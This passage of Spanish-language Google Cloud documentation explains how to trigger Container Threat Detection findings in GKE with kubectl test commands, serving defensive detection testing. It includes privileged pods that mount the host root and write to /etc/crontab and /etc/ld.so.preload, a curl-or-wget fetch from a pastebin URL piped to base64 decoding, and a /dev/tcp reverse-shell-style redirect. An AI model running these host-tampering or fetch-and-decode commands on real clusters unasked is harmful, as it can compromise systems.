Este procedimiento de prueba debería crear un Execution: Socat Reverse Shell Detectedresultado que puedes ver en Security Command Center y en Cloud Logging si has configurado Logging para Container Threat Detection. Solo puedes ver los resultados en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Ejecución: modificación sospechosa de cron (vista previa)

Para activar la detección de modificaciones sospechosas de cron, modifica el archivo /etc/crontab del host desde un contenedor. En este ejemplo se implementa la imagen de Ubuntu 24.04 más reciente y se monta el sistema de archivos raíz del host en el contenedor. A continuación, actualiza el archivo crontab.

Se trata de un detector de monitorización de archivos y tiene requisitos específicos de la versión de GKE.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta un comando para modificar el archivo /etc/crontab del host.

Nodo x86:

tag="ktd-test-cron-mod-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/crontab"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

Nodo ARM:

tag="ktd-test-cron-mod-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/crontab"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

Este procedimiento de prueba activa un resultado de modificación sospechosa de cron que puedes ver en Security Command Center y, si has configurado el registro de Container Threat Detection, en Cloud Logging. Solo puede ver los resultados en Cloud Logging si activa el nivel Premium o Enterprise de Security Command Center a nivel de organización.

Ejecución: se ha cargado un objeto compartido de OpenSSL sospechoso

Para activar una detección de Execution: Suspicious OpenSSL Shared Object Loaded, ejecuta el comando openssl engine con un argumento que sea un archivo que termine con la extensión .so. En este ejemplo se usa la imagen más reciente de Ubuntu 24.04. La utilidad /bin/ls se copia y se le cambia el nombre a /tmp/openssl. El archivo binario con el nombre cambiado se ejecuta con los argumentos de archivo engine y .so falsos. La ejecución de openssl engine con un archivo .so se marca como sospechosa porque imita el comportamiento de un objeto compartido que se carga para ejecutar código malicioso.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta un archivo binario con funciones de red, como curl, y ejecútalo con una variable de entorno de proxy HTTP no permitida:

Nodo x86:

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"

Nodo ARM:

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"

Este procedimiento de prueba debería crear un Execution: Suspicious OpenSSL Shared Object Loadedresultado que puedes ver en Security Command Center y en Cloud Logging si has configurado Logging para Container Threat Detection. Solo puedes ver los resultados en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Exfiltración: lanzar herramientas de copia de archivos remota en un contenedor

Para activar una Exfiltration: Launch Remote File Copy Tools In Container detección, ejecuta una herramienta común de copia de archivos remotos en un contenedor. En este ejemplo se usa la imagen más reciente de Ubuntu 24.04. La utilidad /bin/ls se copia y se cambia su nombre a /tmp/rsync. A continuación, se ejecuta para obtener un archivo de una fuente remota que podría ser maliciosa. La ejecución de una herramienta de este tipo con argumentos de recuperación de archivos remotos en un contenedor se marca como sospechosa, ya que podría indicar un intento de descargar y ejecutar código malicioso o de extraer datos.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta una herramienta de copia de archivos remota, como rsync, y ejecútala:

Nodo x86:

tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/rsync; /tmp/rsync"

Nodo ARM:

tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/rsync; /tmp/rsync"

Este procedimiento de prueba debería crear un resultado de Exfiltration: Launch Remote File Copy Tools In Container que puedes ver en Security Command Center y en Cloud Logging si has configurado Logging para Container Threat Detection. Solo puedes ver los resultados en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Impacto: Detectar líneas de comandos maliciosas

Para activar un resultado de Impact: Detect Malicious Cmdlines (Vista previa), se debe observar la ejecución de una línea de comandos con patrones o argumentos maliciosos conocidos en un contenedor. En este ejemplo se usa la imagen más reciente de Ubuntu 24.04. Para ello, se copia el archivo binario /bin/ls y se le cambia el nombre a ipfs. A continuación, se ejecuta el binario renombrado. Este comportamiento se marca como sospechoso porque puede indicar un intento de ejecutar código malicioso o de eludir los controles de seguridad.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta un archivo binario como ipfs:

Nodo x86:

tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/ipfs; /tmp/ipfs"

Nodo ARM:

tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/ipfs; /tmp/ipfs"

Este procedimiento de prueba crea un Impact: Detect Malicious Cmdlinesresultado que puedes ver en Security Command Center y en Cloud Logging si has configurado Logging para Detección de amenazas en contenedores. Solo puede ver los resultados en Cloud Logging si activa el nivel Premium o Enterprise de Security Command Center.

Impacto: eliminar datos en bloque de un disco

Para activar una detección de Impact: Remove Bulk Data From Disk, coloca un archivo binario capaz de eliminar o sobrescribir datos en tu contenedor y ejecútalo. En este ejemplo se usa la imagen más reciente de Ubuntu 24.04. Para ello, se copia el archivo binario /bin/ls y se le cambia el nombre a shred (o a una utilidad similar diseñada para eliminar archivos de forma segura). A continuación, se ejecuta el archivo binario con el nuevo nombre. Esta acción se ha marcado como sospechosa porque imita el comportamiento que se observa a menudo cuando se intenta eliminar grandes cantidades de datos de un disco en un entorno contenedorizado.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Introduce un archivo binario de eliminación de archivos o datos, como shred, y ejecútalo:

Nodo x86:

tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/shred; /tmp/shred"

Nodo ARM:

tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/shred; /tmp/shred"

Este procedimiento de prueba debería crear un Impact: Remove Bulk Data From Diskresultado que puedes ver en Security Command Center y en Cloud Logging si has configurado Logging para Container Threat Detection. Solo puede ver los resultados en Cloud Logging si activa el nivel Premium o Enterprise de Security Command Center.

Impacto: actividad sospechosa de minería de criptomonedas mediante el protocolo Stratum

Para activar una detección de Impact: Suspicious crypto mining activity using the Stratum Protocol, se debe ejecutar un archivo binario en un contenedor con argumentos similares a los que usa el software de minería de criptomonedas que se comunica mediante el protocolo Stratum. En el ejemplo se usa la imagen más reciente de Ubuntu 24.04. Copia /bin/ls y cambia el nombre de esa copia a un archivo binario simulado (presumiblemente para simular un minero de criptomonedas). A continuación, se ejecuta este archivo binario con argumentos que incluyen stratum+tcp u otros indicadores similares del protocolo Stratum. Esta actividad se ha marcado como sospechosa porque imita los patrones de comunicación de red del software de minería de criptomonedas en entornos contenerizados.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Introduce un archivo binario de utilidad como curl y ejecútalo con argumentos similares a los que usa el software de minería de criptomonedas que se comunica mediante el protocolo Stratum:

Nodo x86:

tag="ktd-test-detect-crypto-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"

Nodo ARM:

tag="ktd-test-detect-crypto-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"

Este procedimiento de prueba debería crear un resultado Impact: Suspicious crypto mining activity using the Stratum Protocol que puedes ver en Security Command Center y en Cloud Logging si has configurado Logging para Container Threat Detection. Solo puedes ver los resultados en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

También puede que veas un resultado adicional para el comando bash que ejecutes en esta prueba. Este comportamiento es normal, por lo que puedes ignorar el resultado adicional.

Secuencia de comandos maliciosa ejecutada

Para activar una detección de secuencia de comandos maliciosa ejecutada, puede ejecutar la secuencia de comandos en el siguiente procedimiento de su contenedor.

El procedimiento implementa la imagen más reciente de Ubuntu 24.04, copia una secuencia de comandos que parece maliciosa y, a continuación, la ejecuta. Para activar una detección, una secuencia de comandos debe parecer maliciosa al detector.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta la siguiente secuencia de comandos en un contenedor nuevo.

Esta secuencia de comandos de shell de Bourne insertada procede de un honeypot. Sin embargo, se ha modificado para que no ejecute el archivo binario malicioso, por lo que ejecutar la secuencia de comandos no provocará actividad maliciosa en tu contenedor. Es posible que el archivo binario de la URL de referencia se haya eliminado y, si intentas acceder a la URL, se producirá un error 404. Este es el comportamiento esperado. La intento de descargar, decodificar y ejecutar un archivo binario mediante una secuencia de comandos insertada es lo que activa la detección.

Nodo x86:

tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"

Nodo ARM:

tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"

Este procedimiento de prueba crea un resultado de Malicious Script Executed que puedes ver en Security Command Center y en Cloud Logging si has configurado el registro de Container Threat Detection. Solo puedes ver los resultados en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

URL maliciosa detectada

Para activar una detección de URL maliciosa observada, ejecuta un archivo binario y proporciona una URL maliciosa como argumento.

En el siguiente ejemplo, se implementa una imagen de Ubuntu 24.04 y se ejecuta /bin/curl para acceder a una URL de malware de ejemplo desde el servicio Navegación segura.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta curl y proporciona una URL maliciosa como argumento:

Nodo x86:

tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
url="https://testsafebrowsing.appspot.com/s/malware.html"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"

Nodo ARM:

tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
url="https://testsafebrowsing.appspot.com/s/malware.html"
kubectl run \
      --restart=Never \
      --rm=true -i \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
      {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
      "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
      "value": "arm64" } ]}}' \
      "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"

Este procedimiento de prueba activa un resultado de URL maliciosa observada que puedes ver en Security Command Center y, si has configurado el registro de Container Threat Detection, en Cloud Logging. Solo puede ver los resultados en Cloud Logging si activa el nivel Premium o Enterprise de Security Command Center a nivel de organización.

Persistencia: modificar ld.so.preload (vista previa)

Para activar la detección de modificaciones de ld.so.preload, modifica el archivo /etc/ld.so.preload del host. En este ejemplo, se implementa la imagen más reciente de Ubuntu 24.04, se monta el sistema de archivos raíz del host en el contenedor y, a continuación, se actualiza /etc/ld.so.preload.

Se trata de un detector de monitorización de archivos y tiene requisitos específicos de la versión de GKE.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta un archivo binario que modifique el archivo /etc/ld.so.preload del host.

Nodo x86:

tag="ktd-test-ld-preload-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["/bin/touch", "/host/etc/ld.so.preload"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

Nodo ARM:

tag="ktd-test-ld-preload-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["/bin/touch", "/host/etc/ld.so.preload"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

Este procedimiento de prueba activa un resultado de modificación ld.so.preload que puedes ver en Security Command Center y, si has configurado el registro de Container Threat Detection, en Cloud Logging. Solo puede ver los resultados en Cloud Logging si activa el nivel Premium o Enterprise de Security Command Center a nivel de organización.

Apropiación de privilegios: abuso de sudo para apropiación de privilegios (CVE-2019-14287)

Para activar una Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) detección, ejecuta el archivo binario sudo con el parámetro -u#-1. En este ejemplo se copia el archivo binario /bin/ls para imitar el archivo binario sudo y se ejecuta con el parámetro especificado.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Inicia un archivo binario con /bin/echo redirección al DNS público de Google:

Nodo x86:

tag="ktd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
   "cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10"

Nodo ARM:

tag="ktd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
   "cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10"

Este procedimiento de prueba crea un Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287)resultado que puedes ver en Security Command Center y en Cloud Logging si has configurado Logging para Container Threat Detection. Solo puedes ver los resultados en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center a nivel de organización.

Apropiación de privilegios: ejecución sin archivos en `/dev/shm`

Para activar una detección de Privilege Escalation: Fileless Execution in /dev/shm, se debe ejecutar un proceso desde el sistema de archivos en memoria /dev/shm. En este ejemplo se usa la imagen más reciente de Ubuntu 24.04. La utilidad /bin/echo se copia en /dev/shm/echo. A continuación, se ejecuta este archivo binario con el nuevo nombre. La ejecución de un archivo en /dev/shm se marca como sospechosa porque imita el comportamiento de un objeto que intenta ejecutarse en la memoria para evitar las detecciones basadas en archivos.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Crea un contenedor con privilegios y abre bash para ejecutar comandos:

Nodo x86:

tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -it \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"spec": {"containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}]}}' \
   "$tag" -- bash

Nodo ARM:

tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -it \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash

Copia echo en /dev/shm y haz que sea ejecutable con chmod.

  cp /bin/echo /dev/shm
  chmod 777 /dev/shm/echo

Vuelve a montar el /dev/shm para habilitar la ejecución
```
  mount -o remount,exec /dev/shm
```
Ejecuta echo desde /dev/shm
```
  /dev/shm/echo "Hello from /dev/shm"
```

Este procedimiento de prueba debería crear un Privilege Escalation: Fileless Execution in /dev/shmresultado que puedes ver en Security Command Center y en Cloud Logging si has configurado Logging para Container Threat Detection. Solo puedes ver los resultados en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Apropiación de privilegios: vulnerabilidad de apropiación de privilegios local de Polkit (CVE-2021-4034)

Para activar una Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034)detección, ejecuta un archivo binario pkexec con la variable de entorno GCONV_PATH definida como un usuario que no sea root. En este ejemplo se copia el archivo binario /bin/ls para imitar el archivo binario pkexec y se ejecuta con el parámetro especificado como ID de usuario 1000.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Inicia un archivo binario con /bin/echo redirección al DNS público de Google:

Nodo x86:

tag="ktd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "securityContext": { "runAsUser": 1000 }}}' \
   "$tag" -- bash -c \
   "cp /bin/ls /tmp/pkexec; GCONV_PATH=junk /tmp/pkexec; sleep 10"

Nodo ARM:

tag="ktd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "securityContext": { "runAsUser": 1000 }, "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
   "cp /bin/ls /tmp/pkexec; GCONV_PATH=junk /tmp/pkexec; sleep 10"

Este procedimiento de prueba crea un Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034)resultado que puedes ver en Security Command Center y en Cloud Logging si has configurado Logging para Container Threat Detection. Solo puedes ver los resultados en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center a nivel de organización.

Apropiación de privilegios: posible apropiación de privilegios de sudo (CVE-2021-3156)

Para activar una Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) detección, ejecuta el archivo binario sudo como usuario no root con el parámetro -s y un parámetro que termine con \`. This example copies the/bin/lsbinary to imitate thesudo` y lo ejecuta con los parámetros especificados.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Inicia un archivo binario con /bin/echo redirección al DNS público de Google:

Nodo x86:

tag="ktd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "securityContext": { "runAsUser": 1000 }}}' \
   "$tag" -- bash -c \
   'cp /bin/ls /tmp/sudo; /tmp/sudo -s "123\\"; sleep 10'

Nodo ARM:

tag="ktd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "securityContext": { "runAsUser": 1000 },
   "nodeSelector": { "kubernetes.io/arch":"arm64" }, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
   'cp /bin/ls /tmp/sudo; /tmp/sudo -s "123\\"; sleep 10'

Este procedimiento de prueba crea un Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156)resultado que puedes ver en Security Command Center y en Cloud Logging si has configurado Logging para Container Threat Detection. Solo puedes ver los resultados en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center a nivel de organización.

Shell inverso

Para activar una detección de shell inverso, inicia un archivo binario con la redirección stdin a un socket conectado por TCP. En este ejemplo, se copia /bin/echo en /tmp/sh, después se inicia /tmp/sh con la redirección al DNS público de Google 8.8.8.8 en el puerto DNS. No se imprime nada cuando ejecutas este ejemplo. Para evitar que se inyecte código externo mediante un ataque de intermediario (MITM), en este ejemplo no se usa el archivo binario /bin/sh.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Inicia un archivo binario con /bin/echo redirección al DNS público de Google:

Nodo x86:

tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"

Nodo ARM:

tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"

Este procedimiento de prueba crea un resultado de Reverse Shell que puedes ver en Security Command Center y en Cloud Logging si has configurado el registro para Container Threat Detection. Solo puedes ver los resultados en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center a nivel de organización.

Shell secundario inesperado

Para probar el detector Unexpected Child Shell, puedes crear un árbol de procesos que incluya un proceso de shell secundario.

En el siguiente ejemplo se crea un árbol de procesos consul->dash, que puede detectar el detector Unexpected Child Shell. Esta prueba es segura porque solo usa archivos binarios integrados. Este ejemplo hace lo siguiente:

Crea una copia del proceso sh y la llama consul.
Copia el proceso echo y le asigna el nombre dash.
Invoca el proceso dash copiado en el proceso consul copiado.

Para activar un resultado de Unexpected Child Shell, haz lo siguiente:

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Usa el proceso simulado consul para invocar un shell simulado:

Nodo x86:

tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -ti \
   --image ubuntu "$tag" \
   --command -- /bin/sh -c \
      'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
      /tmp/consul -c "/tmp/sh child ran successfully & wait"'

Nodo ARM:

tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -ti \
   --image ubuntu \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" --command -- /bin/sh -c \
      'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
      /tmp/consul -c "/tmp/sh child ran successfully & wait"'

Este procedimiento de prueba crea un resultado Unexpected Child Shell que puedes ver en Security Command Center. Si Logging está configurado para Container Threat Detection y tienes activado Security Command Center Premium o Enterprise a nivel de organización, también puedes ver el resultado en Cloud Logging.

Siguientes pasos

Consulta cómo usar Container Threat Detection.

Probar Container Threat Detection Organízate con las colecciones Guarda y clasifica el contenido según tus preferencias.

Antes de empezar

Habilitar detectores

